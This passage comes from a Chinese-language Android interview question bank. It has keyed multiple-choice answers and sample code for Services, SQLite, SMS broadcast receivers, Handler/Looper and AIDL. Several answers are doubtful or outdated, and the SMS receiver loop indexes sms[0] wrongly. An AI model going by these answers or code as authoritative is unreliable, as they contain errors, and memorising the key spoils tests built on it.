android:name=\"android.provider.action.NewBroad\"/>\n\t\t\t<action>\n\t\t</intent-filter>\n\t</receiver>\n\t```             \n    B、       \n\t```xml\n\t<receiver android:name=\"NewBroad\">\n\t\t<intent-filter>\n\t\t\tandroid:name=\"android.provider.action.NewBroad\"/>\n\t\t</intent-filter>\n\t</receiver>\n\t```           \n    C、         \n\t ```xml\n\t<receiver android:name=\"NewBroad\">\n\t\t<action  \n\t\t\t  android:name=\"android.provider.action.NewBroad\"/>\n\t\t <action>\n\t</receiver>\n\t```          \n    D、               \n    ```xml\n\t<intent-filter>\n\t\t<receiver android:name=\"NewBroad\">\n\t\t\t<action> \n\t\t\t   android:name=\"android.provider.action.NewBroad\"/>\n\t\t\t<action>\n\t\t</receiver>\n\t</intent-filter>\n\t```          \n17. 关于ContenValues类说法正确的是(a)        \n    A、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名是String类型，而值都是基本类型        \n    B、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名是任意类型，而值都是基本类型           \n    C、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名，可以为空，而值都是String类型        \n    D、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名是String类型，而值也是String类型    \n18. 我们都知道Hanlder是线程与Activity通信的桥梁,如果线程处理不当，你的机器就会变得越慢，那么线程销毁的方法是(a)       \n    A、onDestroy()         \n    B、onClear()      \n    C、onFinish()      \n    D、onStop()        \n19. 下面退出Activity错误的方法是(c)\n    A、finish()        \n \tB、抛异常强制退出        \n    C、System.exit()        \n    D、onStop()      \n20. 下面属于android的动画分类的有(ab)(多项)      \n    A、Tween  B、Frame C、Draw D、Animation \n21.\t下面关于Android dvm的进程和Linux的进程,应用程序的进程说法正确的是(d)          \n    A、DVM指dalivk的虚拟机.每一个Android应用程序都在它自己的进程中运行,不一定拥有一个独立 的Dalvik虚拟机实例.而每一个DVM都是在Linux 中的一个进程,\n\t所以说可以认为是同一个概念.                \n    B、DVM指dalivk的虚拟机.每一个Android应用程序都在它自己的进程中运行,不一定拥有一个独立的Dalvik虚拟机实例.而每一个DVM不一定都是在Linux 中的一个进程,\n\t所以说不是一个概念.        \n    C、DVM指dalivk的虚拟机.每一个Android应用程序都在它自己的进程中运行,都拥有一个独立的Dalvik虚拟机实例.而每一个DVM不一定都是在Linux 中的一个进程,\n\t所以说不是一个概念.              \n    D、DVM指dalivk的虚拟机.每一个Android应用程序都在它自己的进程中运行,都拥有一个独立的 Dalvik虚拟机实例.而每一个DVM都是在Linux 中的一个进程,\n\t所以说可以认为是同一个概念.       \n22. Android项目工程下面的assets目录的作用是什么(b)      \n\tA、放置应用到的图片资源。      \n\tB、主要放置多媒体等数据文件          \n\tC、放置字符串，颜色，数组等常量数据           \n\tD、放置一些与UI相应的布局文件，都是xml文件       \n23. 关于res/raw目录说法正确的是(a)    \n\tA、这里的文件是原封不动的存储到设备上不会转换为二进制的格式         \n\tB、这里的文件是原封不动的存储到设备上会转换为二进制的格式         \n\tC、这里的文件最终以二进制的格式存储到指定的包中       \n\tD、这里的文件最终不会以二进制的格式存储到指定的包中      \n24. 下列对android NDK的理解正确的是(abcd)      \n\tA、NDK是一系列工具的集合         \n\tB、NDK 提供了一份稳定、功能有限的 API 头文件声明。      \n\tC、使 “Java+C” 的开发方式终于转正，成为官方支持的开发方式      \n\tD、NDK 将是 Android 平台支持 C 开发的开端        \n\t\n25. android中常用的四个布局是framlayout，linenarlayout，relativelayout和tablelayout。\n26. android 的四大组件是activiey，service，broadcast和contentprovide。\n27. java.io包中的objectinputstream和objectoutputstream类主要用于对对象(Object)的读写。\n28. android 中service的实现方法是：startservice和bindservice。\n29. activity一般会重载7个方法用来维护其生命周期，除了onCreate(),onStart(),onDestory() \t 外还有onrestart,onresume,onpause,onstop。\n30. android的数据存储的方式sharedpreference,文件,SQlite,contentprovider,网络。\n31.\t当启动一个Activity并且新的Activity执行完后需要返回到启动它的Activity来执行 的回调函数是startActivityResult()。\n32.\t请使用命令行的方式创建一个名字为myAvd,sdk版本为2.2,sd卡是在d盘的根目录下,名字为scard.img， 并指定屏幕大小HVGA.____________________________________。\n33.\t程序运行的结果是：_____good and gbc__________。\n\t```java\n    public class Example{ \n\t　　String str=new String(\"good\"); \n\t　　char[]ch={'a','b','c'}; \n\t　　public static void main(String args[]){ \n\t　　　　Example ex=new Example(); \n\t　　　　ex.change(ex.str,ex.ch); \n\t　　　　System.out.print(ex.str+\" and \"); \n\t　　　　Sytem.out.print(ex.ch); \n\t　　} \n\t　　public void change(String str,char ch[]){ \n\t　　　　str=\"test ok\"; \n\t　　　　ch[0]='g'; \n\t　　} \n\t}\n\t```\n34. 在android中，请简述jni的调用过程。(8分)         \n\t1)安装和下载Cygwin，下载 Android NDK          \n\t2)在ndk项目中JNI接口的设计        \n\t3)使用C/C++实现本地方法      \n\t4)JNI生成动态链接库.so文件           \n\t5)将动态链接库复制到java工程，在java工程中调用，运行java工程即可            \n35. 简述Android应用程序结构是哪些?(7分)              \n\tAndroid应用程序结构是：          \n\tLinux Kernel(Linux内核)、Libraries(系统运行库或者是c/c++核心库)、Application          \n\tFramework(开发框架包)、Applications\t(核心应用程序)   \n36.\t请继承SQLiteOpenHelper实现：(10分)              \n\t1）.创建一个版本为1的“diaryOpenHelper.db”的数据库             \n\t2）.同时创建一个 “diary” 表（包含一个_id主键并自增长，topic字符型100长度， content字符型1000长度）        \n\t3）.在数据库版本变化时请删除diary表，并重新创建出diary表。          \n\t```java\n\tpublic class DBHelper  extends SQLiteOpenHelper {\n\n\t\tpublic final static String DATABASENAME = \"diaryOpenHelper.db\";\n\t\tpublic final static int DATABASEVERSION = 1;\n\n\t\t//创建数据库\n\t\tpublic DBHelper(Context context,String name,CursorFactory factory,int version)\n\t\t{\n\t\t\tsuper(context, name, factory, version);\n\t\t}\n\t\t//创建表等机构性文件\n\t\tpublic void onCreate(SQLiteDatabase db)\n\t\t{\n\t\t\tString sql =\"create table diary\"+\n\t\t\t\t\t\t\"(\"+\n\t\t\t\t\t\t\"_id integer primary key autoincrement,\"+\n\t\t\t\t\t\t\"topic varchar(100),\"+\n\t\t\t\t\t\t\"content varchar(1000)\"+\n\t\t\t\t\t\t\")\";\n\t\t\tdb.execSQL(sql);\n\t\t}\n\t\t//若数据库版本有更新，则调用此方法\n\t\tpublic void onUpgrade(SQLiteDatabase db,int oldVersion,int newVersion)\n\t\t{\n\t\t\t\n\t\t\tString sql = \"drop table if exists diary\";\n\t\t\tdb.execSQL(sql);\n\t\t\tthis.onCreate(db);\n\t\t}\n\t}\n\t```\n37. 页面上现有ProgressBar控件progressBar，请用书写线程以10秒的的时间完成其进度显示工作。（10分）           \n\t```java\n\tpublic class ProgressBarStu extends Activity {\n\n\t\tprivate ProgressBar progressBar = null;\n\t\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\tsetContentView(R.layout.progressbar);\n\t\t\t//从这到下是关键\n\t\t\tprogressBar = (ProgressBar)findViewById(R.id.progressBar);\n\t\t\t\n\t\t\tThread thread = new Thread(new Runnable() {\n\t\t\t\t\n\t\t\t\t@Override\n\t\t\t\tpublic void run() {\n\t\t\t\t\tint progressBarMax = progressBar.getMax();\n\t\t\t\t\ttry {\n\t\t\t\t\t\twhile(progressBarMax!=progressBar.getProgress())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tint stepProgress = progressBarMax/10;\n\t\t\t\t\t\t\tint currentprogress = progressBar.getProgress();\n\t\t\t\t\t\t\tprogressBar.setProgress(currentprogress+stepProgress);\n\t\t\t\t\t\t\tThread.sleep(1000);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t});\n\t\t\t\n\t\t\tthread.start();\n\t\t\t//关键结束\n\t\t}\n\t}\n\t```\n38. 如何退出Activity？如何安全退出已调用多个Activity的Application？             \n\t对于单一Activity的应用来说，退出很简单，直接finish()即可。         \n\t当然，也可以用killProcess()和System.exit()这样的方法。          \n\t但是，对于多Activity的应用来说，在打开多个Activity后，如果想在最后打开的Activity直接退出，上边的方法都是没有用的，因为上边的方法都是结束一个Activity而已。      \n\t当然，网上也有人说可以。   \n\t就好像有人问，在应用里如何捕获Home键，有人就会说用keyCode比较KEYCODE_HOME即可，而事实上如果不修改framework，根本不可能做到这一点一样。      \n\t所以，最好还是自己亲自试一下。          \n\t那么，有没有办法直接退出整个应用呢？      \n\t在2.1之前，可以使用ActivityManager的restartPackage方法。        \n\t它可以直接结束整个应用。在使用时需要权限android.permission.RESTART_PACKAGES。          \n\t注意不要被它的名字迷惑。         \n\t可是，在2.2，这个方法失效了。        \n\t在2.2添加了一个新的方法，killBackgroundProcesses()，需要权限 android.permission.KILL_BACKGROUND_PROCESSES。          \n\t可惜的是，它和2.2的restartPackage一样，根本起不到应有的效果。        \n\t另外还有一个方法，就是系统自带的应用程序管理里，强制结束程序的方法，forceStopPackage()。         \n\t它需要权限android.permission.FORCE_STOP_PACKAGES。            \n\t并且需要添加android:sharedUserId=\"android.uid.system\"属性        \n\t同样可惜的是，该方法是非公开的，他只能运行在系统进程，第三方程序无法调用。          \n\t因为需要在Android.mk中添加LOCAL_CERTIFICATE := platform。           \n\t而Android.mk是用于在Android源码下编译程序用的。             \n\t从以上可以看出，在2.2，没有办法直接结束一个应用，而只能用自己的办法间接办到。        \n\t现提供几个方法，供参考：     \n\t- 抛异常强制退出：      \n\t\t该方法通过抛异常，使程序Force Close。\n\t\t验证可以，但是，需要解决的问题是，如何使程序结束掉，而不弹出Force Close的窗口。\n\t- 记录打开的Activity：\n\t    每打开一个Activity，就记录下来。在需要退出时，关闭每一个Activity即可。\n\t- 发送特定广播：\n\t\t在需要结束应用时，发送一个特定的广播，每个Activity收到广播后，关闭即可。\n\t- 递归退出     \n\t\t在打开新的Activity时使用startActivityForResult，然后自己加标志，在onActivityResult中处理，递归关闭。\n\t除了第一个，都是想办法把每一个Activity都结束掉，间接达到目的。       \n\t但是这样做同样不完美。          \n\t你会发现，如果自己的应用程序对每一个Activity都设置了nosensor，在两个Activity结束的间隙，sensor可能有效了。      \n\t但至少，我们的目的达到了，而且没有影响用户使用。      \n\t为了编程方便，最好定义一个Activity基类，处理这些共通问题。       \n39. 请介绍下Android中常用的五种布局。             \n\tFrameLayout（框架布局），LinearLayout （线性布局），AbsoluteLayout（绝对布局），RelativeLayout（相对布局），TableLayout（表格布局）\n40. 请介绍下Android的数据存储方式。        \n\t- SharedPreferences方式\n\t- 文件存储方式\n\t- SQLite数据库方式\n\t- 内容提供器（Content provider）方式\n\t- 网络存储方式\n41. 请介绍下ContentProvider是如何实现数据共享的。         \n\t创建一个属于你自己的Content provider或者将你的数据添加到一个已经存在的Content provider中，前提是有相同数据类型并且有写入Content provider的权限。\n42. 如何启用Service，如何停用Service。            \n\tAndroid中的service类似于windows中的service，service一般没有用户操作界面，它运行于系统中不容易被用户发觉，\n\t可以使用它开发如监控之类的程序。\n\t一。步骤\n\t第一步：继承Service类\n\tpublic class SMSService extends Service { }\n\t第二步：在AndroidManifest.xml文件中的<application>节点里对服务进行配置:\n\t<service android:name=\".DemoService\" />\n\t二。Context.startService()和Context.bindService\n\t服务不能自己运行，需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可\n\t以启动Service，但是它们的使用场合有所不同。         \n\t1.使用startService()方法启用服务，调用者与服务之间没有关连，即使调用者退出了，服务仍然运行。\n\t使用bindService()方法启用服务，调用者与服务绑定在了一起，调用者一旦退出，服务也就终止。           \n\t2.采用Context.startService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，\n\t接着调用onStart()方法。如果调用startService()方法前服务已经被创建，多次调用startService()方法并\n\t不会导致多次创建服务，但会导致多次调用onStart()方法。\n\t采用startService()方法启动的服务，只能调用Context.stopService()方法结束服务，服务结束时会调用\n\tonDestroy()方法。 \n\t \n\t3.采用Context.bindService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，\n\t接着调用onBind()方法。这个时候调用者和服务绑定在一起，调用者退出了，系统就会先调用服务的onUnbind()方法，\n\t。接着调用onDestroy()方法。如果调用bindService()方法前服务已经被绑定，多次调用bindService()方法并不会\n\t导致多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)。如果调用者希望与正在绑定的服务\n\t解除绑定，可以调用unbindService()方法，调用该方法也会导致系统调用服务的onUnbind()-->onDestroy()方法。\n\t三。Service的生命周期\n\t1. Service常用生命周期回调方法如下：\n\tonCreate() 该方法在服务被创建时调用，该方法只会被调用一次，无论调用多少次startService()或bindService()方法，\n\t服务也只被创建一次。 onDestroy()该方法在服务被终止时调用。 \n\t2. Context.startService()启动Service有关的生命周期方法\n\tonStart() 只有采用Context.startService()方法启动服务时才会回调该方法。该方法在服务开始运行时被调用。\n\t多次调用startService()方法尽管不会多次创建服务，但onStart() 方法会被多次调用。\n\t3. Context.bindService()启动Service有关的生命周期方法\n\tonBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用，\n\t当调用者与服务已经绑定，多次调用Context.bindService()方法并不会导致该方法被多次调用。\n\tonUnbind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务解除绑定时被调用。\n\t\n\t备注：\n\t1. 采用startService()启动服务\n\t\t Intent intent = new Intent(DemoActivity.this, DemoService.class);\n\t\t startService(intent);\n\t2. Context.bindService()启动\n\t\tIntent intent = new Intent(DemoActivity.this, DemoService.class);\n\t\tbindService(intent, conn, Context.BIND_AUTO_CREATE);\n\t   //unbindService(conn);//解除绑定\n43. 注册广播有几种方式，这些方式有何优缺点？请谈谈Android引入广播机制的用意。            \n\tAndroid广播机制（两种注册方法）             \n\t在android下，要想接受广播信息，那么这个广播接收器就得我们自己来实现了，我们可以继承BroadcastReceiver，就可以有一个广播接受器了。\n\t有个接受器还不够，我们还得重写BroadcastReceiver里面的onReceiver方法，当来广播的时候我们要干什么，这就要我们自己来实现，\n\t不过我们可以搞一个信息防火墙。具体的代码：  \n\t```java\n\tpublic class SmsBroadCastReceiver extends BroadcastReceiver {   \n\t\t@Override  \n\t\tpublic void onReceive(Context context, Intent intent) {   \n\t\t\tBundle bundle = intent.getExtras();   \n\t\t\tObject[] object = (Object[])bundle.get(\"pdus\");   \n\t\t\tSmsMessage sms[]=new SmsMessage[object.length];   \n\t\t\tfor(int i=0;i<object.length;i++) {   \n\t\t\t\tsms[0] = SmsMessage.createFromPdu((byte[])object[i]);   \n\t\t\t\tToast.makeText(context, \"来自\"+sms[i].getDisplayOriginatingAddress()+\" 的消息是：\"+sms[i].getDisplayMessageBody(), Toast.LENGTH_SHORT).show();   \n\t\t\t}   \n\t\t\t//终止广播，在这里我们可以稍微处理，根据用户输入的号码可以实现短信防火墙。   \n\t\t\tabortBroadcast();   \n\t\t}          \n\t}  \n\t```\n\t当实现了广播接收器，还要设置广播接收器接收广播信息的类型，这里是信息：android.provider.Telephony.SMS_RECEIVED \n\t我们就可以把广播接收器注册到系统里面，可以让系统知道我们有个广播接收器。这里有两种，\n\t一种是代码动态注册：     \n\t```java\n\t//生成广播处理   \n\tsmsBroadCastReceiver = new SmsBroadCastReceiver();   \n\t//实例化过滤器并设置要过滤的广播   \n\tIntentFilter intentFilter = new IntentFilter(\"android.provider.Telephony.SMS_RECEIVED\"); \n\t//注册广播   \n\tBroadCastReceiverActivity.this.registerReceiver(smsBroadCastReceiver, intentFilter);  \n\t```\n\t一种是在AndroidManifest.xml中配置广播\n\t```xml\n\t<?xml version=\"1.0\" encoding=\"utf-8\"?>  \n\t<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"  \n\t\t  package=\"spl.broadCastReceiver\"  \n\t\t  android:versionCode=\"1\"  \n\t\t  android:versionName=\"1.0\">  \n\t\t<application android:icon=\"@drawable/icon\" android:label=\"@string/app_name\">  \n\t\t\t<activity android:name=\".BroadCastReceiverActivity\"  \n\t\t\t\t\t  android:label=\"@string/app_name\">  \n\t\t\t\t<intent-filter>  \n\t\t\t\t\t<action android:name=\"android.intent.action.MAIN\" />  \n\t\t\t\t\t<category android:name=\"android.intent.category.LAUNCHER\" />  \n\t\t\t\t</intent-filter>  \n\t\t\t</activity>  \n\t\t\t   \n\t\t\t<!--广播注册-->  \n\t\t\t<receiver android:name=\".SmsBroadCastReceiver\">  \n\t\t\t\t<intent-filter android:priority=\"20\">  \n\t\t\t\t\t<action android:name=\"android.provider.Telephony.SMS_RECEIVED\"/>  \n\t\t\t\t</intent-filter>  \n\t\t\t</receiver>  \n\t\t\t   \n\t\t</application>  \n\t\t   \n\t\t<uses-sdk android:minSdkVersion=\"7\" />  \n\t\t   \n\t\t<!-- 权限申请 -->  \n\t\t<uses-permission android:name=\"android.permission.RECEIVE_SMS\"></uses-permission>  \n\t</manifest>   \n\t```\n\t两种注册类型的区别是：        \n\t- 第一种不是常驻型广播，也就是说广播跟随程序的生命周期。\n    - 第二种是常驻型，也就是说当应用程序关闭后，如果有信息广播来，程序也会被系统调用自动运行。\n44. 请解释下在单线程模型中Message、Handler、Message Queue、Looper之间的关系。          \n    Handler简介：\n    一个Handler允许你发送和处理Message和Runable对象，这些对象和一个线程的MessageQueue相关联。每一个线程实例和一个单独的线程以及该线程的MessageQueue相关联。\n    当你创建一个新的Handler时，它就和创建它的线程绑定在一起了。这里，线程我们也可以理解为线程的MessageQueue。从这一点上来看，\n    Handler把Message和Runable对象传递给MessageQueue，而且在这些对象离开MessageQueue时，Handler负责执行他们。\n    Handler有两个主要的用途：（1）确定在将来的某个时间点执行一个或者一些Message和Runnable对象。（2）在其他线程（不是Handler绑定线程）中排入一些要执行的动作。\n    Scheduling Message，即（1），可以通过以下方法完成：       \n    post(Runnable):Runnable在handler绑定的线程上执行，也就是说不创建新线程。     \n    postAtTime(Runnable,long):         \n    postDelayed(Runnable,long):        \n    sendEmptyMessage(int):       \n    sendMessage(Message):      \n    sendMessageAtTime(Message,long):        \n    sendMessageDelayed(Message,long):         \n    post这个动作让你把Runnable对象排入MessageQueue,MessageQueue受到这些消息的时候执行他们，当然以一定的排序。sendMessage这个动作允许你把Message对象排成队列，\n    这些Message对象包含一些信息，Handler的hanlerMessage(Message)会处理这些Message.当然，handlerMessage(Message)必须由Handler的子类来重写。这是编程人员需要作的事。\n    当posting或者sending到一个Hanler时，你可以有三种行为：当MessageQueue准备好就处理，定义一个延迟时间，定义一个精确的时间去处理。\n    后两者允许你实现timeout,tick,和基于时间的行为。           \n    当你的应用创建一个新的进程时，主线程（也就是UI线程）自带一个MessageQueue，这个MessageQueue管理顶层的应用对象（像activities,broadcast receivers等）和\n    主线程创建的窗体。你可以创建自己的线程，并通过一个Handler和主线程进行通信。这和之前一样，通过post和sendmessage来完成，差别在于在哪一个线程中执行这么方法。\n    在恰当的时候，给定的Runnable和Message将在Handler的MessageQueue中被Scheduled。      \n    Message简介：         \n    Message类就是定义了一个信息，这个信息中包含一个描述符和任意的数据对象，这个信息被用来传递给Handler.Message对象提供额外的两个int域和一个Object域，\n    这可以让你在大多数情况下不用作分配的动作。尽管Message的构造函数是public的，但是获取Message实例的最好方法是调用Message.obtain(),\n    或者Handler.obtainMessage()方法，这些方法会从回收对象池中获取一个。            \n    MessageQueue简介：           \n    这是一个包含message列表的底层类。Looper负责分发这些message。Messages并不是直接加到一个MessageQueue中，而是通过MessageQueue.IdleHandler关联到Looper。\n    你可以通过Looper.myQueue()从当前线程中获取MessageQueue。       \n    Looper简介：                \n    Looper类被用来执行一个线程中的message循环。默认情况，没有一个消息循环关联到线程。在线程中调用prepare()创建一个Looper，然后用loop()来处理messages，直到循环终止。\n    大多数和message loop的交互是通过Handler。    \n    下面是一个典型的带有Looper的线程实现。\n    ```java\n    class LooperThread extends Thread {\n      public Handler mHandler;\n      \n      public void run() {\n    \t  Looper.prepare();\n    \t  \n    \t  mHandler = new Handler() {\n    \t\t  public void handleMessage(Message msg) {\n    \t\t\t  // process incoming messages here\n    \t\t  }\n    \t  };\n    \t  \n    \t  Looper.loop();\n      }\n    }\n    ```\n45. AIDL的全称是什么？如何工作？能处理哪些类型的数据？           \n\tAIDL的英文全称是Android Interface Define Language\n\t当A进程要去调用B进程中的service时，并实现通信，我们通常都是通过AIDL来操作的\n\tA工程：           \n\t首先我们在net.blogjava.mobile.aidlservice包中创建一个RemoteService.aidl文件，在里面我们自定义一个接口，含有方法get。ADT插件会在gen目录下自动生成一个RemoteService.java文件，该类中含有一个名为RemoteService.stub的内部类，该内部类中含有aidl文件接口的get方法。\n\t说明一：aidl文件的位置不固定，可以任意\n\t然后定义自己的MyService类，在MyService类中自定义一个内部类去继承RemoteService.stub这个内部类，实现get方法。在onBind方法中返回这个内部类的对象，系统会自动将这个对象封装成IBinder对象，传递给他的调用者。\n\t其次需要在AndroidManifest.xml文件中配置MyService类，代码如下：\n\t<!-- 注册服务 -->  \n\t<service android:name=\".MyService\"> \n\t   <intent-filter> \n\t   <!--  指定调用AIDL服务的ID  --> \n\t\t   <action android:name=\"net.blogjava.mobile.aidlservice.RemoteService\" /> \n\t\t</intent-filter> \n\t</service>\n\t为什么要指定调用AIDL服务的ID,就是要告诉外界MyService这个类能够被别的进程访问，只要别的进程知道这个ID，正是有了这个ID,B工程才能找到A工程实现通信。\n\t说明：AIDL并不需要权限\n\tB工程：\n\t首先我们要将A工程中生成的RemoteService.java文件拷贝到B工程中，在bindService方法中绑定aidl服务\n\t绑定AIDL服务就是将RemoteService的ID作为intent的action参数。\n\t说明：如果我们单独将RemoteService.aidl文件放在一个包里，那个在我们将gen目录下的该包拷贝到B工程中。如果我们将RemoteService.aidl文件和我们的其他类存放在一起，那么我们在B工程中就要建立相应的包，以保证RmoteService.java文件的报名正确，我们不能修改RemoteService.java文件\n\t   bindService(new Inten(\"net.blogjava.mobile.aidlservice.RemoteService\"), serviceConnection, Context.BIND_AUTO_CREATE); \n\tServiceConnection的onServiceConnected(ComponentName name, IBinder service)方法中的service参数就是A工程中MyService类中继承了RemoteService.stub类的内部类的对象。\n46. 请解释下Android程序运行时权限与文件系统权限的区别。           \n\t运行时权限Dalvik( android授权) \n\t文件系统 linux 内核授权\n47. 系统上安装了多种浏览器，能否指定某浏览器访问指定页面？请说明原由。          \n\t通过直接发送Uri把参数带过去，或者通过manifest里的intentfilter里的data属性\n48. 你如何评价Android系统？优缺点。           \n\t答：Android平台手机 5大优势： \n\t- 开放性 \n\t\t在优势方面，Android平台首先就是其开发性，开发的平台允许任何移动终端厂商加入到Android联盟中来。显著的开放性可以使其拥有更多的开发者，\n\t\t随着用户和应用的日益丰富，一个崭新的平台也将很快走向成熟。开放性对于Android的发展而言，有利于积累人气，这里的人气包括消费者和厂商，\n\t\t而对于消费者来讲，随大的受益正是丰富的软件资源。开放的平台也会带来更大竞争，如此一来，消费者将可以用更低的价位购得心仪的手机。\n\t- 挣脱运营商的束缚 \n\t\t在过去很长的一段时间，特别是在欧美地区，手机应用往往受到运营商制约，使用什么功能接入什么网络，几乎都受到运营商的控制。从去年iPhone 上市 ，\n\t\t用户可以更加方便地连接网络，运营商的制约减少。随着EDGE、HSDPA这些2G至3G移动网络的逐步过渡和提升，手机随意接入网络已不是运营商口中的笑谈，\n\t\t当你可以通过手机IM软件方便地进行即时聊天时，再回想不久前天价的彩信和图铃下载业务，是不是像噩梦一样？互联网巨头Google推动的Android终端天生就有网络特色，\n\t\t将让用户离互联网更近。\n\t- 丰富的硬件选择 \n\t\t这一点还是与Android平台的开放性相关，由于Android的开放性，众多的厂商会推出千奇百怪，功能特色各具的多种产品。功能上的差异和特色，\n\t\t却不会影响到数据同步、甚至软件的兼容，好比你从诺基亚 Symbian风格手机 一下改用苹果 iPhone ，同时还可将Symbian中优秀的软件带到iPhone上使用、\n\t\t联系人等资料更是可以方便地转移，是不是非常方便呢？\n\t- 不受任何限制的开发商 \n\t\tAndroid平台提供给第三方开发商一个十分宽泛、自由的环境，不会受到各种条条框框的阻扰，可想而知，会有多少新颖别致的软件会诞生。但也有其两面性，血腥、暴力、情色方面的程序和游戏如可控制正是留给Android难题之一。\n\t- 无缝结合的Google应用 \n\t\t如今叱诧互联网的Google已经走过10年度历史，从搜索巨人到全面的互联网渗透，Google服务如地图、邮件、搜索等已经成为连接用户和互联网的重要纽带，\n\t\t而Android平台手机将无缝结合这些优秀的Google服务。            \n\n\t再说Android的5大不足：\n\t- 安全和隐私 \n\t\t由于手机 与互联网的紧密联系，个人隐私很难得到保守。除了上网过程中经意或不经意留下的个人足迹，Google这个巨人也时时站在你的身后，\n\t\t洞穿一切，因此，互联网的深入将会带来新一轮的隐私危机。\n\t- 首先开卖Android手机的不是最大运营商 \n\t\t众所周知，T-Mobile在23日，于美国纽约发布 了Android首款手机G1。但是在北美市场，最大的两家运营商乃AT&T和Verizon，\n\t\t而目前所知取得Android手机销售权的仅有 T-Mobile和Sprint，其中T-Mobile的3G网络相对于其他三家也要逊色不少，因此，用户可以买账购买G1，\n\t\t能否体验到最佳的3G网络服务则要另当别论了！\n\t- 运营商仍然能够影响到Android手机 \n\t\t在国内市场，不少用户对购得移动定制机不满，感觉所购的手机被人涂画了广告一般。这样的情况在国外市场同样出现。\n\t\tAndroid手机的另一发售运营商Sprint就将在其机型中内置其手机商店程序。\n\t- 同类机型用户减少 \n\t\t在不少手机论坛都会有针对某一型号的子论坛，对一款手机的使用心得交流，并分享软件资源。而对于Android平台手机，由于厂商丰富，\n\t\t产品类型多样，这样使用同一款机型的用户越来越少，缺少统一机型的程序强化。举个稍显不当的例子，现在山寨机泛滥，品种各异，\n\t\t就很少有专门针对某个型号山寨机的讨论和群组，除了哪些功能异常抢眼、颇受追捧的机型以外。\n\t- 过分依赖开发商缺少标准配置 \n\t\t在使用PC端的Windows Xp系统的时候，都会内置微软Windows Media Player这样一个浏览器程序，用户可以选择更多样的播放器，\n\t\t如Realplay或暴风影音等。但入手开始使用默认的程序同样可以应付多样的需要。在 Android平台中，由于其开放性，软件更多依赖第三方厂商，\n\t\t比如Android系统的SDK中就没有内置音乐 播放器，全部依赖第三方开发，缺少了产品的统一性。\n49. 什么是ANR 如何避免它?               \n　　答：ANR：Application Not Responding，五秒 \n\t在Android中，活动管理器和窗口管理器这两个系统服务负责监视应用程序的响应。当出现下列情况时，Android就会显示ANR对话框了：        \n\t对输入事件(如按键、触摸屏事件)的响应超过5秒     \n\t意向接受器(intentReceiver)超过10秒钟仍未执行完毕 \n\tAndroid应用程序完全运行在一个独立的线程中(例如main)。这就意味着，任何在主线程中运行的，需要消耗大量时间的操作都会引发ANR。\n\t因为此时，你的应用程序已经没有机会去响应输入事件和意向广播(Intent broadcast)。          \n\t因此，任何运行在主线程中的方法，都要尽可能的只做少量的工作。特别是活动生命周期中的重要方法如onCreate()和 onResume()等更应如此。\n\t潜在的比较耗时的操作，如访问网络和数据库;或者是开销很大的计算，比如改变位图的大小，需要在一个单独的子线程中完成(或者是使用异步请求，如数据库操作)。\n\t但这并不意味着你的主线程需要进入阻塞状态已等待子线程结束 -- 也不需要调用Therad.wait()或者Thread.sleep()方法。\n\t取而代之的是，主线程为子线程提供一个句柄(Handler)，让子线程在即将结束的时候调用它(xing:可以参看Snake的例子，这种方法与以前我们所接触的有所不同)。\n\t使用这种方法涉及你的应用程序，能够保证你的程序对输入保持良好的响应，从而避免因为输入事件超过5秒钟不被处理而产生的ANR。\n\t这种实践需要应用到所有显示用户界面的线程，因为他们都面临着同样的超时问题。 \n50. 什么情况会导致Force Close ?如何避免?能否捕获导致其的异常?           \n\t答：一般像空指针啊，可以看起logcat，然后对应到程序中 来解决错误 \n　　\n51. 如何将SQLite数据库(dictionary.db文件)与apk文件一起发布?             \n\t解答：可以将dictionary.db文件复制到Eclipse Android工程中的res aw目录中。所有在res aw目录中的文件不会被压缩，这样可以直接提取该目录中的文件。\n\t可以将dictionary.db文件复制到res aw目录中 \n52. 如何将打开res aw目录中的数据库文件?            \n\t解答：在Android中不能直接打开res aw目录中的数据库文件，而需要在程序第一次启动时将该文件复制到手机内存或SD卡的某个目录中，然后再打开该数据库文件。复制的基本方法是使用getResources().openRawResource方法获得res aw目录中资源的 InputStream对象，然后将该InputStream对象中的数据写入其他的目录中相应文件中。\n\t在Android SDK中可以使用SQLiteDatabase.openOrCreateDatabase方法来打开任意目录中的SQLite数据库文件。 \n53. Android引入广播机制的用意?            \n\t- 从MVC的角度考虑(应用程序内) \n　\t\t其实回答这个问题的时候还可以这样问，android为什么要有那4大组件，现在的移动开发模型基本上也是照搬的web那一套MVC架构，只不过是改了点嫁妆而已。\n\t\tandroid的四大组件本质上就是为了实现移动或者说嵌入式设备上的MVC架构，它们之间有时候是一种相互依存的关系，有时候又是一种补充关系，\n\t\t引入广播机制可以方便几大组件的信息和数据交互。 \n\t- 程序间互通消息(例如在自己的应用程序内监听系统来电) \n\t- 效率上(参考UDP的广播协议在局域网的方便性) \n\t- 设计模式上(反转控制的一种应用，类似监听者模式)\n54. Android dvm的进程和Linux的进程, 应用程序的进程是否为同一个概念          \n\tDVM指dalivk的虚拟机。每一个Android应用程序都在它自己的进程中运行，都拥有一个独立的Dalvik虚拟机实例。而每一个DVM都是在Linux 中的一个进程，\n\t所以说可以认为是同一个概念。 \n55.\t说说mvc模式的原理，它在android中的运用            \n\tMVC(Model_view_contraller)”模型_视图_控制器”。 MVC应用程序总是由这三个部分组成。Event(事件)导致Controller改变Model或View，或者同时改变两者。\n\t只要 